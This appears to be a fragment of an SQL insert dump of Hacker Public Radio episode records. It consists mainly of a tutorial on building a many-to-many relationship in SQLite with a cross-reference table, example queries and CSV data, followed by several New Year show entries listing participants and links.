(1569,'2014-08-07','Many-to-many data relationship howto',1442,'The best way to implement a many-to-many relationship in a database, with real example','<h2>How to implement a many-to-many join in a relational database</h2>\r\n <p>The purpose of this HPR show is to demonstrate the best, and really the only way to define a many-to-many relationship between two entities in a database.</p>\r\n <h2>What triggered it?</h2>\r\n <p>There has been some discussion between Ken and Dave on the community news podcasts, presumably relating to some work which is being done on the HPR web site. I sent Ken an email explaining how to implement a many-to-many relationship and got a predictable response; do a show :)</p>\r\n <p>So here it is.</p>\r\n <h3>What do I mean by database entity?</h3>\r\n <p>In analysing the structure of the data which is to be stored by a database, one of the most important things to do is to identify what entities are to be stored and manipulated.</p>\r\n <p>What constitutes an entity is often quite simple; some examples might be \'customer\', \'billing address\', \'shipping address\', \'invoice\', \'invoice item\' etc.</p>\r\n <p>In fact it\'s also true to say that more often than not entities and tables have a one-to-one relationship. If the analysis of your data reveals that there is a \'customer\' entity, then there will probably be a \'customer\' table.</p>\r\n <p>One area where this might not be quite true is where the mechanism used to implement the whole software system demands a greater level of granularity. There are some e-commerce systems which are written with object-oriented technology and which demand that the data model matches the objects in the system. Typically this results in a data model that might look like it is over-normalised.</p>\r\n <p>But for the sake of this example, we will assume that one entity occupies one table.</p>\r\n <p>In fact if you find your analysis has any two tables that appear to have a one-to-one relationship, there is probably something wrong with your analysis because these two tables could be merged into one.</p>\r\n <h3>Entity Relationships</h3>\r\n <p>In a database system comprised of a number of tables, one table per entity, there will be complex relationships between the entities. This is the reason we talk about \'relational\' databases. Or perhaps it is because all the columns in a table are supposed to be related to the unique identifier in that table, not sure, and neither was Mr. Codd.</p>\r\n <h3>Types of relationship</h3>\r\n <p>One-to-many or many-to-one, depending on which end of the telescope you are looking through. For example a customer might make one, or many purchases from your company e-commerce system. In which case there will be a one-to-many relationship between the \'customer\' table and the \'invoice\' table in the sales ledger.</p>\r\n <p>Note that if the customer has only ever made one purchase there will only be one row in the invoice table, but it COULD contain more. The more end is really one-or-more.</p>\r\n <p>Because one visit to the web site might result in the customer dropping more than one item into his shopping cart, there will also be an \'invoice lines\' or \'invoice items\' table.</p>\r\n <p>How these relationships are represented on diagrams</p>\r\n <p>Classically an entity relationship diagram consists of a series of rectangles, one for each table with the name of the entity written in the box. The entity rectangles are joined together by lines. These lines have what are usually called \'crows feet\' at the \'many\' end. A crows foot looks just like what it says, where the line joins the many end of the join, the line splits into three prongs before it hits the side of the many entity rectangle. Depending on what mechanism has been used to create this diagram, the crows foot can also look more like a fork than a crows foot, but there are still three prongs.</p>\r\n <p>In this text I will use a line consisting of dashes to join entities, and a backwards left or right arrow to represent the many end of a relationship.</p>\r\n <p>So, using the example above, the one-to-many relationship between customer and invoice looks like this:</p><pre>\r\n<code>\r\ncustomer-----&lt;invoice\r\n</code>\r\n</pre><p>Here the less-than sign is used at the many end and should be thought of as a crows foot with the middle toe missing.</p>\r\n <h3>How to join two tables in a many-to-many relationship</h3>\r\n <p>You will not come across this relationship very often. It is far less common than a simple one-to-many or many-to-one.</p>\r\n <p>One example where this might be useful, and the example I use in this text, is a music database where two of the entities are:</p><pre>\r\n<code>Artist\r\nGenre\r\n</code>\r\n</pre><p>Clearly there will be multiple artists, and multiple genres. And it is not inconceivable that an artist might appear in more than one genre. And a given genre will clearly contain more than one artist.</p>\r\n <p>So this gives rise to a many-to-many relationship, which in pure analysis terms could be diagrammed like this:</p><pre>\r\n<code>artist&gt;-----&lt;genre\r\n</code>\r\n</pre><p>But this is NOT the way to define it in actual physical database tables.</p>\r\n <p>Observing the rules of normalisation, an artist should be identified by one property, the artist name, and a genre should be identified by one single property, the genre name.</p>\r\n <p>More often, and in our example below, each entity is given a unique identifier which is in addition to it\'s actual name.</p>\r\n <p>This is how changing a simple name in one table can result in the change being seen globally over the entire database system. For example in a customer table, the row:</p><pre>\r\n<code>id  name\r\n--  ----\r\n1   Mickey Mouse\r\n</code>\r\n</pre><p>Will cause \'Mickey Mouse\' to be shown as the customer name wherever the identifier \'1\' is used to retrieve records or to join tables in a complex SQL query.</p>\r\n <p>Change \'Mickey Mouse\' to \'Donald Duck\' in this table, and \'Donald Duck\' will appear everywhere \'Mickey Mouse\' was seen before.</p>\r\n <h3>Foreign Keys</h3>\r\n <p>When two tables are to be joined to make a query, columns, or multiple columns are given indexes. A column which contains the key from another table is called a \'foreign key\'.</p>\r\n <p>Going back to our customer and invoice example from above, the invoice table will contain the customer identifier from the customer table. And because a single customer can make more than one visit to our web site to buy stuff, the column containing the customer identifier in the invoice table is not given a unique index.</p>\r\n <p>If the customer with the identifier \'12345\' has made five different shopping excursions to our site, there will be five rows in the \'invoice\' table containing the customer identifier \'12345\'.</p>\r\n <p>Armed with this information, how will we represent this:</p><pre>\r\n<code>artist>-----&lt;genre\r\n</code>\r\n</pre><p>Clearly the artist table should contain a foreign key from the genre table, and the genre table should contain a foreign key from the artist table.</p>\r\n <p>The rules of normalisation say that all the attributes in a table (columns) should relate to the primary key of the table. Clearly putting a genre foreign key into the artist table, or an artist foreign key into the genre table busts this rule wide open. Don\'t do it</p>\r\n <h3>The solution</h3>\r\n <p>To solve this problem we introduce another table between the artist table and the genre table, which I always suffix with \'_xref\', short for cross-reference.</p>\r\n <p>Now our entity relationship diagram will look like this:</p><pre>\r\n<code>artist-----&lt;artist_genre_xref&gt;-----genre\r\n</code>\r\n</pre><p>What does the artist<em>genre</em>xref table contain? Simple, it contains the bare minimum to define a unique row which joins an artist and a genre.</p>\r\n <p>If the artist identifier is called artist<em>id and the genre identifier is called genre</em>id, then the xref table contains two columns:</p><pre>\r\n<code>artist_id\r\ngenre_id\r\n</code>\r\n</pre><p>What kind of index do we need on this table to make a unique relationship between an artist and a genre? We need a unique compound index which uses both columns.</p>\r\n <p>This will ensure that one and only one row can appear in the table joining one artist to one genre. But because an artist can belong to more than one genre, both columns in the index mean this is possible.</p>\r\n <p>A worked example</p>\r\n <p>In the example code and data below, I have used SQLite3.</p>\r\n <p>SQLite is the world\'s most used Relational Database System (RDBMS).</p>\r\n <p>How can this claim be made?</p>\r\n <p>Well if you have a smart-phone in your pocket, it probably uses SQLite. If you have a satellite TV receiver, a Tivo or some other kind of home media device, it probably contains SQLite.</p>\r\n <p>And if you are really strange and have a fridge which will tell you what\'s inside, it probably uses SQLite. And there will be one row which says \'half an onion wrapped in foil which has been in here for six months\'.</p>\r\n <p>Several times I have been brought Blackberry hand-sets and asked to retrieve important documents or texts from it when the user interface mechanism has failed. Something that often happens with that flavour of soft fruit.</p>\r\n <p>SQLite is easy to install on your Linux machine. In fact it is used by so many other packages that it may well be on there already. But you may have to install the interactive SQLite3 program.</p>\r\n <p>On Arch Linux:</p><pre>\r\n<code>$ sudo pacman -S sqlite3</code>\r\n</pre><p>On Debian or Ubuntu:</p>\r\n <p>$ sudo apt-get install sqlite3</p>\r\n <p>Below I have inserted the contents of all the files which I created to demo this many-to-many relationship strategy.</p>\r\n <p>Each file is topped and tailed by the string \'--snip--\'. In the SQLite3 interactive program, a double dash (\'--\') starts a line comment. Each file also contains the name of the file and a description of what it does.</p>\r\n <p>An exception is the .csv files I have used to load data into my little test database. These have the \'--snip--\' tops and tails in this text but they do not exist in the actual data, for obvious reasons. If you are snipping out the csv data to try this at home, don\'t include anything but the data lines in the csv data.</p>\r\n <p>To start an interactive SQLite 3 prompt and create your test database, do this at a Linux or Windows command prompt. Here the prompt is represented by a dollar sign:</p><pre>\r\n<code>$ sqlite3 music.db\r\n</code>\r\n</pre><p>You will get this prompt:</p><pre>\r\n<code>sqlite>\r\n</code>\r\n</pre><p>Because the first thing I alwys want to know about apiece of software I haven\'t used before is how to get out, to get out of the interactive SQLite3 session, type this, of course \'sqlite>\' is the prompt:</p><pre>\r\n<code>sqlite>.quit\r\n</code>\r\n</pre><p>To run a file of commands you have defined in an external file, do this:</p><pre>\r\n<code>sqlite>.read filename\r\n</code>\r\n</pre><p>Where \'filename\' is a file containing dot prefixed commands and/or SQL.</p>\r\n <p>The files from my working example:</p>\r\n <p>The following file contains commands to create tables and indexes in the database named on the command-line when you called sqlite3.</p><pre>\r\n<code>--snip--\r\n--\r\n-- file name: ddl.sql\r\n--\r\n-- ddl = \'data definition language\'\r\n--\r\n-- This SQL creates three tables, the artists table tbl_artist,\r\n-- the genre table tbl_genre, and the cross-reference\r\n-- ttable tbl_artist_genre_xref\r\n--\r\n-- The xref table is what provides the many-to-many relationship\r\n-- between artist and genre by virtue of it\'s\r\n-- compund index; idx_artist_genre_xref,\r\n-- which has two columns included in it\r\n--\r\n-- I use the tbl_ prefix for tables and the idx_ prefix for indexes.\r\n-- These might seem redundant but they are useful for preventing\r\n-- collisions between database component names and reserved words.\r\n--\r\n\r\n-- Create the artist table\r\ncreate table tbl_artist (\r\n    artist_id integer not null primary key,\r\n    artist_name text not null\r\n);\r\n\r\n-- Create the genre table\r\ncreate table tbl_genre (\r\n    genre_id integer not null primary key,\r\n    genre_name text not null\r\n);\r\n\r\n-- Create the artist_genre_xref table\r\n--\r\n-- I use number for both columns instead of integer because SQLite\r\n-- does something funky with auto-incrementing integer\r\n-- columns which have a \'not null\' constraint, I think\r\ncreate table tbl_artist_genre_xref (\r\n    artist_id number not null,\r\n    genre_id number not null\r\n);\r\n\r\ncreate unique index idx_artist_genre_xref on tbl_artist_genre_xref (\r\n    artist_id,\r\n    genre_id\r\n);\r\n\r\n--snip--\r\n</code>\r\n</pre><p>There follow three files which contain comma-separated values (.csv) records for loading into each table.</p>\r\n <p>The first is artist data:</p><pre>\r\n<code>--snip--\r\n1,\"Horslips\"\r\n2,\"Runrig\"\r\n3,\"The Pogues\"\r\n4,\"Led Zeppelin\"\r\n5,\"Disturbed\"\r\n6,\"Martin Carthy\"\r\n7,\"Steeleye Span\"\r\n8,\"Schubert\"\r\n9,\"Mozart\"\r\n--snip--\r\n</code>\r\n</pre><p>The first three artists fall into both the folk and rock genres. Led Zeppelin and Disturbed will be in rock only.</p>\r\n <p>Martin Carthy and Steeleye Span are folk only.</p>\r\n <p>Schubert and Mozart need no further explanation.</p>\r\n <p>The next is data to load into the genre table:</p><pre>\r\n<code>--snip--\r\n1,\"Folk\"\r\n2,\"Rock\"\r\n3,\"Classical\"\r\n4,\"Scottish\"\r\n5,\"Irish\"\r\n--snip--\r\n</code>\r\n</pre><p>The last data file is the data which will be loaded into the artist<em>genre</em>xref table. It contains only numerical data:</p><pre>\r\n<code>--snip--\r\n1,1\r\n2,1\r\n3,1\r\n1,2\r\n2,2\r\n3,2\r\n4,2\r\n5,2\r\n6,1\r\n7,1\r\n8,3\r\n9,3\r\n1,5\r\n3,5\r\n2,4\r\n--snip--\r\n</code>\r\n</pre><p>What is this data doing? Well there are some artists there which will appear in both the \'folk and the \'rock\' genres. Horslips are a seventies Irish folk-rock band. I still play their \'The Book of Invasions\' album at least once a week. This is either because it is a seminal album or because I am a dinosaur who refuses to be dragged kicking and screaming into the 21st century. Runrig are a band from the Western Isles of Scotland who cross over the folk/rock boundary also. Check links at the end of this text.</p>\r\n <p>The next file loads the data from these .csv files into the three database tables.</p><pre>\r\n<code>--snip--\r\n--\r\n-- file name: load.sql\r\n--\r\n-- Load some data into the tables from three CSV files\r\n--\r\n.separator \",\"\r\n.import artist.csv tbl_artist\r\n.import genre.csv tbl_genre\r\n.import xref.csv tbl_artist_genre_xref\r\n--snip--\r\n</code>\r\n</pre><p>There now follow some SQL queries which retrieve data-sets which should be obvious from the file names:</p><pre>\r\n<code>--snip--\r\n--\r\n-- file name: select-folk-only.sql\r\n--\r\n-- This is where the SQL gets a bit hairy, using a sub-query to exclude\r\n-- everything except the category we want from the record-set.\r\n--\r\n-- This is the kind of situation where a view\r\n-- might be useful to hide some of the SQL complexity from\r\n-- the user.\r\n--\r\nselect a.artist_id, a.artist_name, x.genre_id\r\nfrom tbl_artist as a, tbl_artist_genre_xref as x\r\nwhere a.artist_id = x.artist_id\r\nand x.genre_id = 1\r\nand a.artist_id not in (\r\n    select a.artist_id\r\n    from tbl_artist as a, tbl_artist_genre_xref as x\r\n    where a.artist_id = x.artist_id\r\n    and x.genre_id != 1\r\n);\r\n\r\n--snip--\r\n\r\n\r\n\r\n--snip--\r\n--\r\n-- file name: select-folk.sql\r\n--\r\n-- Straight-forward query to select artists that appear in the folk\r\n-- category.\r\n--\r\n-- This will return artists that appear in the folk category, which\r\n-- includes artists that appear either exclusively in folk or in BOTH\r\n-- folk and any other category also.\r\n--\r\n-- A little hard to get your head around.  Remember the artists returned\r\n-- by this set are in both folk and any other category.\r\n--\r\nselect a.artist_id, a.artist_name, x.genre_id\r\nfrom tbl_artist as a, tbl_artist_genre_xref as x\r\nwhere a.artist_id = x.artist_id\r\nand x.genre_id = 1;\r\n\r\n--snip--\r\n\r\n\r\n\r\n--snip--\r\n--\r\n-- file name: select-rock-only.sql\r\n--\r\n-- This is where the SQL gets a bit hairy.  It uses a sub-query to\r\n-- exclude everything except the category we want from the record-set.\r\n--\r\n-- This is the type of query where a view might be useful to hide some\r\n-- of the SQL complexity from the user\r\n--\r\nselect a.artist_id, a.artist_name, x.genre_id\r\nfrom tbl_artist as a, tbl_artist_genre_xref as x\r\nwhere a.artist_id = x.artist_id\r\nand x.genre_id =2\r\nand a.artist_id not in (\r\n    select a.artist_id\r\n    from tbl_artist as a, tbl_artist_genre_xref as x\r\n    where a.artist_id = x.artist_id\r\n    and x.genre_id != 2\r\n);\r\n--snip--\r\n\r\n\r\n\r\n--snip--\r\n--\r\n-- file name: select-rock.sql\r\n--\r\n-- select all artists which appear in the rock category\r\n--\r\nselect a.artist_id, a.artist_name\r\nfrom tbl_artist as a, tbl_artist_genre_xref as x\r\nwhere a.artist_id = x.artist_id\r\nand x.genre_id = 2;\r\n--snip--\r\n\r\n\r\n--snip--\r\n--\r\n-- file name: select-scottish.sql\r\n--\r\n-- Straight-forward query to select artists that appear in the scottish\r\n-- category.\r\n--\r\n-- This will return artists that appear in the scottish category, which\r\n-- includes artists that appear either exclusively in scottish or in\r\n-- BOTH scottish and any other category also.\r\n--\r\nselect a.artist_id, a.artist_name, x.genre_id\r\nfrom tbl_artist as a, tbl_artist_genre_xref as x\r\nwhere a.artist_id = x.artist_id\r\nand x.genre_id = 4;\r\n--snip--\r\n\r\n\r\n\r\n--snip--\r\n--\r\n-- file name: select-irish.sql\r\n--\r\n-- Straight-forward query to select artists that appear in the irish\r\n-- category.\r\n--\r\n-- This will return artists that appear in the irish category, which\r\n-- includes artists that appear either exclusively in irish or in BOTH\r\n-- irish and any other category also.\r\n--\r\nselect a.artist_id, a.artist_name, x.genre_id\r\nfrom tbl_artist as a, tbl_artist_genre_xref as x\r\nwhere a.artist_id = x.artist_id\r\nand x.genre_id = 5;\r\n--snip--\r\n</code>\r\n</pre><p>The next files, all prefixed \'dump\' will dump the record-sets returned by the above SQL queries into corresponding .csv files:</p><pre>\r\n<code>--snip--\r\n--\r\n-- file name: dump-folk-only.sql\r\n--\r\n-- Dump all artists that appear ONLY in the folk category\r\n-- into folk-only.csv\r\n--\r\n.mode csv\r\n.output folk-only.csv\r\n.read select-folk-only.sql\r\n--snip--\r\n\r\n\r\n\r\n--snip--\r\n--\r\n-- file name: dump-folk.sql\r\n--\r\n-- Dump all artists that appear in the folk category\r\n-- into folk.csv\r\n--\r\n.mode csv\r\n.output folk.csv\r\n.read select-folk.sql\r\n--snip--\r\n\r\n\r\n\r\n--snip--\r\n--\r\n-- file name: dump-rock-only.sql\r\n--\r\n-- Dump all artists that appear ONLY in the rock category\r\n-- into rock-only.csv\r\n--\r\n.mode csv\r\n.output rock-only.csv\r\n.read select-rock-only.sql\r\n--snip--\r\n\r\n\r\n\r\n--snip--\r\n--\r\n-- file name: dump-rock.sql\r\n--\r\n-- Dump all artists that appear in the rock category\r\n-- into rock.csv\r\n--\r\n.mode csv\r\n.output rock.csv\r\n.read select-rock.sql\r\n--snip--\r\n\r\n\r\n\r\n--snip--\r\n--\r\n-- file name: dump-scottish.sql\r\n--\r\n-- Dump all artists that appear in the scottish category\r\n-- into scottish.csv\r\n--\r\n.mode csv\r\n.output scottish.csv\r\n.read select-scottish.sql\r\n--snip--\r\n\r\n\r\n\r\n--snip--\r\n-- Dump all artists that appear in the irish category\r\n-- into irish.csv\r\n--\r\n.mode csv\r\n.output irish.csv\r\n.read select-irish.sql\r\n--snip--\r\n</code>\r\n</pre><p>In a real-world example, the hard-coded numeric genre identifiers in the above queries would be replaced by placeholders like \'?\' which would be replaced by actual values at run-time.</p>\r\n <h2>Conclusion</h2>\r\n <p>In conclusion, in my experience programming all manner of systems using Oracle, MySQL and SQLite databases, this method is the only one which doesn\'t take diabolical liberties with the rules of database normalisation.</p>\r\n <p>It may result in SQL queries which will make you scratch your head, but that is far more acceptable than doing stuff like trying to shoe-horn a many-to-many relationship into your database structure by other means.</p>\r\n <p>One of the most crucial aspects of using a high-end RDBMS like Oracle, MySQL or SQLServer, is the need to get as much data selection done by the server as possible.</p>\r\n <p>This is because the server is a big fat box in a cupboard connected to your machine by a network infrastructure. It might be next door or on the other side of the world.</p>\r\n <p>It makes far more sense for the server to return to you those records, and ONLY those records you want, over the network.</p>\r\n <p>Any other strategy for implementing a many-to-many relationship is likely to result in you pulling stuff back to your machine which you are ultimately going to drop in some kind of loop. Slow and wasteful of bandwidth.</p>\r\n <p>In the example I have used, the cross-reference table was populated manually. In most real-world implementations the cross-reference table will be populated in response to records being added to the two outer tables, or in response to user-intervention using a client application. Often triggers are used to create the cross-reference rows.</p>\r\n <p>If you were authoring a music database application in which such a relationship exists between artist and genre, the user interface would probably provide a means for the user to decide which genres to plop artists into.</p>\r\n <p>I have used SQLite to demo this strategy. While SQLite is a great tool, it is a \'lite\' tool that is designed for single-user applications, in particular embedded systems.</p>\r\n <p>If you are thinking of starting an airline and want to implement a world-wide seat booking application which will serve many concurrent users, needing complex transactional operations, don\'t use SQLite or your customer complaints are likely to exceed bookings.</p>\r\n <p>My example data definitions also contain no constraints for preventing orphaned rows. These are rows in a table containing a foreign key where no record exists in the table identified by the foreign key. Because in my example I load the \'parent\' tables before I load the table which contains foreign keys to both of those tables, there is no risk of creating orphaned rows.</p>\r\n <p>Most RDBMS systems include a mechanism for what is called \'cascaded deletes\', that is, when deleting a row from a parent table, any row in a table containing a foreign key for that row, a \'child\' row, will also be deleted, preventing \'orphaned\' records.</p>\r\n <p>Applying this to the above example, deleting \'Runrig\' from the artists table would also delete all rows from the artist<em>genre</em>xref table with the identifier for \'Runrig\'.</p>\r\n <h2>Links</h2>\r\n <ul>\r\n  <li>Database normalisation according to Mr Codd: <a href=\"https://en.wikipedia.org/wiki/Database_normalization\">https://en.wikipedia.org/wiki/Database_normalization</a></li>\r\n  <li>SQLite: <a href=\"https://www.sqlite.org/\">https://www.sqlite.org/</a></li>\r\n  <li>Horslips are/were an Irish folk-rock band<br /> The first two tracks from \'The Book of Invasions; a Celtic Symphony\' live:<br /><a href=\"https://www.youtube.com/watch?v=rqk3U0nFEI8\">https://www.youtube.com/watch?v=rqk3U0nFEI8</a></li>\r\n  <li>Runrig are a Scottish folk-rock band who have been around for years.<br /> Loch Lomond live:<br /><a href=\"https://www.youtube.com/watch?v=CHu0h9XaNcg\">https://www.youtube.com/watch?v=CHu0h9XaNcg</a></li>\r\n </ul>\r\n <p>If any queries result from this show about any of the terms I might have very casually scattered about relating to database theory, assuming I know the answers, I can do more shows about those.</p>\r\n <p>Maybe one about SQLite in particular.</p>\r\n <p>Mike</p>',282,4,0,'CC-BY-SA','database, sqlite, sqlite3, many-to-many, codd, normalisation, sql',0,0,1),
(1151,'2012-12-31','2012-2013 Hacker Public Radio New Year Show Part 1',12613,'New Year Show 2013, part 1','<p>\r\nThe First part of the epic Hacker Public Radio Show.<br />\r\n\r\nFeel free to listen and send me some show notes\r\n</p>\r\n<h2>Featuring:</h2>\r\n<p>\r\nartv61<br />\r\nb1ackcr0w<br />\r\nbepc<br />\r\nbiglesp<br />\r\nbobobex<br />\r\ncorenominal<br />\r\ncynicus<br />\r\ndeepgeek<br />\r\ndelwin<br />\r\nDoorZT<br />\r\ndude-man<br />\r\nFiftyOneFifty<br />\r\nGhodmode<br />\r\nhammerron<br />\r\nHanna<br />\r\njnadeau<br />\r\njneusteter<br />\r\nJonTheNiceGuy<br />\r\nken_fallon<br />\r\nKnightwise<br />\r\nkrayonCamping<br />\r\nkt4kb-Jon<br />\r\nKW_Fire<br />\r\nKWisher<br />\r\nliv2tek<br />\r\nnotklaatu<br />\r\norchard<br />\r\nphthano<br />\r\npokey<br />\r\npopey<br />\r\nredsteakraw<br />\r\nsebsebseb_Mageia<br />\r\nSeetee<br />\r\nshfengoli<br />\r\nSndChaser<br />\r\nthelovebug<br />\r\nUrugami<br />\r\nValtam<br />\r\n</p>\r\n\r\n<h2>Links</h2>\r\n<p>\r\n<a href=\"https://techandcoffee.com/\">https://techandcoffee.com/</a><br/>\r\n<a href=\"https://xkcd.com/936/\">https://xkcd.com/936/</a><br/>\r\n<a href=\"https://www.youtube.com/watch?v=jskq3-lpQnE\">https://www.youtube.com/watch?v=jskq3-lpQnE</a><br/>\r\n<a href=\"https://thedigitallifestyle.com/w/\">https://thedigitallifestyle.com/w/</a><br/>\r\n<a href=\"https://simon-listens.blogspot.com/2012/12/simon-040.html\">https://simon-listens.blogspot.com/2012/12/simon-040.html</a><br/>\r\n<a href=\"https://decoratedair.com/\">https://decoratedair.com/</a><br/>\r\n<a href=\"https://www.themagpi.com/\">https://www.themagpi.com/</a><br/>\r\n<a href=\"https://pi.corenominal.org/\">https://pi.corenominal.org/</a><br/>\r\n<a href=\"https://simon-listens.blogspot.se/2012/12/simon-040.html\">https://simon-listens.blogspot.se/2012/12/simon-040.html</a><br/>\r\n<a href=\"https://en.wikipedia.org/wiki/IMSAI_8080\">https://en.wikipedia.org/wiki/IMSAI_8080</a><br/>\r\n<a href=\"https://psdoom.sourceforge.net/\">https://psdoom.sourceforge.net/</a><br/>\r\n<a href=\"https://www.visimation.com/imgs/screens/visio_2007_connector_mbsa_d_sm.gif\">https://www.visimation.com/imgs/screens/visio_2007_connector_mbsa_d_sm.gif</a><br/>\r\n<a href=\"https://arstechnica.com/information-technology/2012/12/10-raspberry-pi-creations-that-show-how-amazing-the-tiny-pc-can-be/\">https://arstechnica.com/information-technology/2012/12/10-raspberry-pi-creations-that-show-how-amazing-the-tiny-pc-can-be/</a><br/>\r\n<a href=\"https://thebugcast.org/show/123\">https://thebugcast.org/show/123</a><br/>\r\n<a href=\"https://graphics.stanford.edu/projects/camera-2.0/\">https://graphics.stanford.edu/projects/camera-2.0/</a><br/>\r\n<a href=\"https://www.youtube.com/watch?v=xU-a7k4Ocqc\">https://www.youtube.com/watch?v=xU-a7k4Ocqc</a><br/>\r\n<a href=\"https://en.wikipedia.org/wiki/Uganda_Anti-Homosexuality_Bill\">https://en.wikipedia.org/wiki/Uganda_Anti-Homosexuality_Bill</a><br/>\r\n<a href=\"https://twitpic.com/bqqxno\">https://twitpic.com/bqqxno</a><br/>\r\n<a href=\"https://plus.google.com/105383789706521884831/posts/gB24HwZTQSp\">https://plus.google.com/105383789706521884831/posts/gB24HwZTQSp</a><br/>\r\n</p>\r\n',159,121,1,'CC-BY-SA','New Year,2013',0,2221,1),
(1152,'2013-01-01','2012-2013 Hacker Public Radio New Year Show Part 2',12579,'New Year Show 2013, part 2','The Second part of the epic Hacker Public Radio Show.\r\nFeel free to listen and send me some show notes \r\n\r\n<h2>Joining</h2>\r\nAhuka<br />\r\nartv61<br />\r\nbeto<br />\r\nBill_MI<br />\r\nbobobex<br />\r\nchalkahlom<br />\r\nciak<br />\r\ncobra2<br />\r\ncorenominal<br />\r\ndeltaray<br />\r\ndrw<br />\r\nFiftyOneFifty<br />\r\ngeospart<br />\r\nhonkeymagoo<br />\r\njnadeau<br />\r\njneusteter<br />\r\njrullio<br />\r\njrullo<br />\r\nkrayonCamping<br />\r\nkt4kb-Jon<br />\r\nKwisher2<br />\r\nMaskilPDX<br />\r\nnotklaatu<br />\r\norchard<br />\r\nosama<br />\r\nRandyNose1<br />\r\nruji<br />\r\nsebsebseb_Mageia<br />\r\nSeetee<br />\r\nTonyHughes<br />\r\nUrugami<br />\r\nVerbal<br />\r\n\r\n<h2>Links</h2>\r\n<p>\r\n<a href=\"https://www.computerworld.com.au/article/274883/openchange_kde_bring_exchange_compatibility_linux/\">https://www.computerworld.com.au/article/274883/openchange_kde_bring_exchange_compatibility_linux/</a><br/>\r\n<a href=\"https://manilastandardtoday.com/2013/01/01/ubuntu-surprise/\">https://manilastandardtoday.com/2013/01/01/ubuntu-surprise/</a><br/>\r\n<a\r\nhref=\"https://www.unixporn.com/screenshots/displayimage.php?pid=1455&fullsize=1\">https://www.unixporn.com/screenshots/displayimage.php?pid=1455&amp;fullsize=1</a><br/>\r\n</p>\r\n\r\n',159,121,1,'CC-BY-SA','New Year,2013',0,2095,1),
(1153,'2013-01-02','2012-2013 Hacker Public Radio New Year Show Part 3',10071,'New Year Show 2013, part 3','<p>\r\nThe Third part of the epic Hacker Public Radio Show. Feel free to listen and send me some show notes\r\n</p>\r\n\r\n<h2>Joining</h2>\r\n<p>\r\nammi<br />\r\nAzimuth<br />\r\nb1ackcr0w<br />\r\nblabla<br />\r\ncchivers<br />\r\nchalkahlom<br />\r\ndavemorriss<br />\r\ndeepgeek<br />\r\ndeltaray<br />\r\ndelwin<br />\r\nFiftyOneFifty<br />\r\ngeospart<br />\r\nhonkeymagoo<br />\r\njakowski<br />\r\nJonDoe<br />\r\nJonTheNiceGuy<br />\r\nkt4kb-Jon<br />\r\nlarsson<br />\r\nLe_jax<br />\r\nLordDrachenblut<br />\r\nMaskilPDX<br />\r\nMethodDan<br />\r\nMrGadgets<br />\r\nNYbill<br />\r\nPIpeMan<br />\r\npopey<br />\r\nredsteakraw<br />\r\nrulloj<br />\r\nRuss_W<br />\r\nstubert<br />\r\nthelovebug<br />\r\nThe_Rhino-Tablet<br />\r\ntheru<br />\r\nThistleWeb<br />\r\ntoby<br />\r\nUrugami<br />\r\nusr_share<br />\r\nXoke<br />\r\n</p>\r\n<h2>Links</h2>\r\n<p>\r\n<a href=\"https://www.amazon.com/Perplexus-Maze-Game-PlaSmart-Inc/dp/B002NPBT50\">https://www.amazon.com/Perplexus-Maze-Game-PlaSmart-Inc/dp/B002NPBT50</a><br/>\r\n<a href=\"https://www.thelinuxlink.net/\">https://www.thelinuxlink.net/</a><br/>\r\n<a href=\"https://twit.tv/show/security-now/384\">https://twit.tv/show/security-now/384</a><br/>\r\n<a href=\"https://www.buzzfeed.com/awesomer/julian-assanges-ok-cupid-profile\">https://www.buzzfeed.com/awesomer/julian-assanges-ok-cupid-profile</a><br/>\r\n<a href=\"https://www.imdb.com/title/tt0309614/\">https://www.imdb.com/title/tt0309614/</a><br/>\r\n<a href=\"https://www.google.co.uk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&ved=0CDIQFjAA&url=http%3A%2F%2Fwww.amazon.co.uk%2FGhost-Wires-Adventures-Worlds-Wanted%2Fdp%2F0316212180&ei=2gziUITIOMiRhQedk4DoBA&usg=AFQjCNGoU98MhjwW-PvB6w_X73zRhGSDKg&bvm=bv.1355534169,d.ZG4\">https://www.google.co.uk/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=1&amp;cad=rja&amp;ved=0CDIQFjAA&amp;url=http%3A%2F%2Fwww.amazon.co.uk%2FGhost-Wires-Adventures-Worlds-Wanted%2Fdp%2F0316212180&amp;ei=2gziUITIOMiRhQedk4DoBA&amp;usg=AFQjCNGoU98MhjwW-PvB6w_X73zRhGSDKg&amp;bvm=bv.1355534169,d.ZG4</a><br/>\r\n<a href=\"https://www.amazon.co.uk/Ghost-Wires-Adventures-Worlds-Wanted/dp/0316212180\">https://www.amazon.co.uk/Ghost-Wires-Adventures-Worlds-Wanted/dp/0316212180</a><br/>\r\n<a href=\"https://www.oxid.it/images/c&a_diehard4_1.png\">https://www.oxid.it/images/c&amp;a_diehard4_1.png</a><br/>\r\n<a href=\"https://uk.imdb.com/title/tt0104692/\">https://uk.imdb.com/title/tt0104692/</a><br/>\r\n<a href=\"https://dc260.4shared.com/doc/5u0g9auk/preview.html%20-%20nifty%20use%20of%20BASH%20in%20The%20Bourne%20Ultimatum\">https://dc260.4shared.com/doc/5u0g9auk/preview.html - nifty use of BASH in The Bourne Ultimatum</a><br/>\r\n<a href=\"https://www.criticalcommons.org/Members/ccManager/clips/paycheckholographicinterfacegestural.mp4/view\">https://www.criticalcommons.org/Members/ccManager/clips/paycheckholographicinterfacegestural.mp4/view</a><br/>\r\n<a href=\"https://www.youtube.com/watch?v=Vxq9yj2pVWk\">https://www.youtube.com/watch?v=Vxq9yj2pVWk</a><br/>\r\n<a href=\"https://sandbox.cctracker.org\">https://sandbox.cctracker.org</a><br/>\r\n<a href=\"https://juicereceiver.sourceforge.net/download/index.php\">https://juicereceiver.sourceforge.net/download/index.php</a><br/>\r\n<a href=\"https://sixgun.org/lol/\">https://sixgun.org/lol/</a><br/>\r\n</p>\r\n',159,121,1,'CC-BY-SA','New Year,2013',0,1961,1),
(1154,'2013-01-03','2012-2013 Hacker Public Radio New Year Show Part 4',6577,'New Year Show 2013, part 4','The fourth part of the epic Hacker Public Radio Show. Feel free to listen and send me some show notes',159,121,1,'CC-BY-SA','New Year,2013',0,2021,1),
(1155,'2013-01-04','2012-2013 Hacker Public Radio New Year Show Part 5',9418,'New Year Show 2013, part 5','The fifth part of the epic Hacker Public Radio Show. Feel free to listen and send me some show notes',159,121,1,'CC-BY-SA','New Year,2013',0,2098,1),
